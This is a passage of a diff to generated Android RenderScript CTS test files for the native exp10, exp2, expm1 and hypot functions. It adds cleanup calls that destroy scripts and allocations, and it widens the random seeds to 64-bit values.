+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp10Float4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExp10Float4Float4(inV, out);
             verifyResultsNativeExp10Float4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp10Float4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExp10Float4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeExp10HalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa51532del, -37, 37);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd7964c3ea51532del, -37, 37);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeExp10HalfHalf(inV, out);
             verifyResultsNativeExp10HalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp10HalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExp10HalfHalf(inV, out);
             verifyResultsNativeExp10HalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp10HalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExp10HalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeExp10Half2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xfd537390l, -37, 37);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x1c8bc059fd537390l, -37, 37);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeExp10Half2Half2(inV, out);
             verifyResultsNativeExp10Half2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp10Half2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExp10Half2Half2(inV, out);
             verifyResultsNativeExp10Half2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp10Half2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExp10Half2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeExp10Half3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5c5b3884l, -37, 37);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x1c8bcafb5c5b3884l, -37, 37);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeExp10Half3Half3(inV, out);
             verifyResultsNativeExp10Half3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp10Half3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExp10Half3Half3(inV, out);
             verifyResultsNativeExp10Half3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp10Half3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExp10Half3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeExp10Half4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xbb62fd78l, -37, 37);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x1c8bd59cbb62fd78l, -37, 37);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeExp10Half4Half4(inV, out);
             verifyResultsNativeExp10Half4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp10Half4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExp10Half4Half4(inV, out);
             verifyResultsNativeExp10Half4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp10Half4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExp10Half4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp2.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp2.java
index 4fc5cef..19942f5 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp2.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp2.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeExp2Relaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeExp2FloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x4c6a2bc5l, -125, 125);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xd87a6eb24c6a2bc5l, -125, 125);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeExp2FloatFloat(inV, out);
             verifyResultsNativeExp2FloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp2FloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExp2FloatFloat(inV, out);
             verifyResultsNativeExp2FloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp2FloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExp2FloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeExp2Float2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xaf5062c1l, -125, 125);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8c243b10af5062c1l, -125, 125);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeExp2Float2Float2(inV, out);
             verifyResultsNativeExp2Float2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp2Float2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExp2Float2Float2(inV, out);
             verifyResultsNativeExp2Float2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp2Float2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExp2Float2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeExp2Float3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xa56b839fl, -125, 125);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8c26042ba56b839fl, -125, 125);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeExp2Float3Float3(inV, out);
             verifyResultsNativeExp2Float3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp2Float3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExp2Float3Float3(inV, out);
             verifyResultsNativeExp2Float3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp2Float3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExp2Float3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeExp2Float4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x9b86a47dl, -125, 125);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8c27cd469b86a47dl, -125, 125);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeExp2Float4Float4(inV, out);
             verifyResultsNativeExp2Float4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp2Float4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExp2Float4Float4(inV, out);
             verifyResultsNativeExp2Float4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp2Float4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExp2Float4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeExp2HalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x75b1f4d7l, -125, 125);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x76c86b075b1f4d7l, -125, 125);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeExp2HalfHalf(inV, out);
             verifyResultsNativeExp2HalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp2HalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExp2HalfHalf(inV, out);
             verifyResultsNativeExp2HalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp2HalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExp2HalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeExp2Half2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xb9887301l, -125, 125);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x9ed7e065b9887301l, -125, 125);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeExp2Half2Half2(inV, out);
             verifyResultsNativeExp2Half2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp2Half2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExp2Half2Half2(inV, out);
             verifyResultsNativeExp2Half2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp2Half2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExp2Half2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeExp2Half3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x189037f5l, -125, 125);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x9ed7eb07189037f5l, -125, 125);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeExp2Half3Half3(inV, out);
             verifyResultsNativeExp2Half3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp2Half3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExp2Half3Half3(inV, out);
             verifyResultsNativeExp2Half3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp2Half3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExp2Half3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeExp2Half4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x7797fce9l, -125, 125);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x9ed7f5a87797fce9l, -125, 125);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeExp2Half4Half4(inV, out);
             verifyResultsNativeExp2Half4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp2Half4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExp2Half4Half4(inV, out);
             verifyResultsNativeExp2Half4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp2Half4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExp2Half4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpm1.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpm1.java
index 3b4412b..5aaae35 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpm1.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpm1.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeExpm1Relaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeExpm1FloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7094f34bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7a90bd8a7094f34bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeExpm1FloatFloat(inV, out);
             verifyResultsNativeExpm1FloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpm1FloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExpm1FloatFloat(inV, out);
             verifyResultsNativeExpm1FloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpm1FloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExpm1FloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeExpm1Float2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xe84b7997l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x3f43b22de84b7997l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeExpm1Float2Float2(inV, out);
             verifyResultsNativeExpm1Float2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpm1Float2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExpm1Float2Float2(inV, out);
             verifyResultsNativeExpm1Float2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpm1Float2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExpm1Float2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeExpm1Float3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xde669a75l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3f457b48de669a75l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeExpm1Float3Float3(inV, out);
             verifyResultsNativeExpm1Float3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpm1Float3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExpm1Float3Float3(inV, out);
             verifyResultsNativeExpm1Float3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpm1Float3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExpm1Float3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeExpm1Float4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd481bb53l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3f474463d481bb53l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeExpm1Float4Float4(inV, out);
             verifyResultsNativeExpm1Float4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpm1Float4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExpm1Float4Float4(inV, out);
             verifyResultsNativeExpm1Float4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpm1Float4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExpm1Float4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -326,11 +345,12 @@
     }
 
     private void checkNativeExpm1HalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x1f7c28dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xdd8f6dac01f7c28dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeExpm1HalfHalf(inV, out);
             verifyResultsNativeExpm1HalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpm1HalfHalf: " + e.toString());
         }
@@ -338,9 +358,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExpm1HalfHalf(inV, out);
             verifyResultsNativeExpm1HalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpm1HalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExpm1HalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -394,11 +416,12 @@
     }
 
     private void checkNativeExpm1Half2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xddb33a87l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x40ee2f3dddb33a87l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeExpm1Half2Half2(inV, out);
             verifyResultsNativeExpm1Half2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpm1Half2Half2: " + e.toString());
         }
@@ -406,9 +429,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExpm1Half2Half2(inV, out);
             verifyResultsNativeExpm1Half2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpm1Half2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExpm1Half2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -462,11 +487,12 @@
     }
 
     private void checkNativeExpm1Half3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x3cbaff7bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x40ee39df3cbaff7bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeExpm1Half3Half3(inV, out);
             verifyResultsNativeExpm1Half3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpm1Half3Half3: " + e.toString());
         }
@@ -474,9 +500,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExpm1Half3Half3(inV, out);
             verifyResultsNativeExpm1Half3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpm1Half3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExpm1Half3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -530,11 +558,12 @@
     }
 
     private void checkNativeExpm1Half4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x9bc2c46fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x40ee44809bc2c46fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeExpm1Half4Half4(inV, out);
             verifyResultsNativeExpm1Half4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpm1Half4Half4: " + e.toString());
         }
@@ -542,9 +571,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExpm1Half4Half4(inV, out);
             verifyResultsNativeExpm1Half4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpm1Half4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExpm1Half4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeHypot.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeHypot.java
index 4aee2bc..156d0b7 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeHypot.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeHypot.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestNativeHypotRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inA;
         public float inB;
@@ -44,13 +51,14 @@
     }
 
     private void checkNativeHypotFloatFloatFloat() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xbdf66001l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xbdf66002l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x3d61f129bdf66001l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x3d61f129bdf66002l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testNativeHypotFloatFloatFloat(inA, out);
             verifyResultsNativeHypotFloatFloatFloat(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeHypotFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testNativeHypotFloatFloatFloat(inA, out);
             verifyResultsNativeHypotFloatFloatFloat(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeHypotFloatFloatFloat: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsNativeHypotFloatFloatFloat(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkNativeHypotFloat2Float2Float2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x60a50e4dl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x60a50e4el, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x92a8064760a50e4dl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x92a8064760a50e4el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testNativeHypotFloat2Float2Float2(inA, out);
             verifyResultsNativeHypotFloat2Float2Float2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
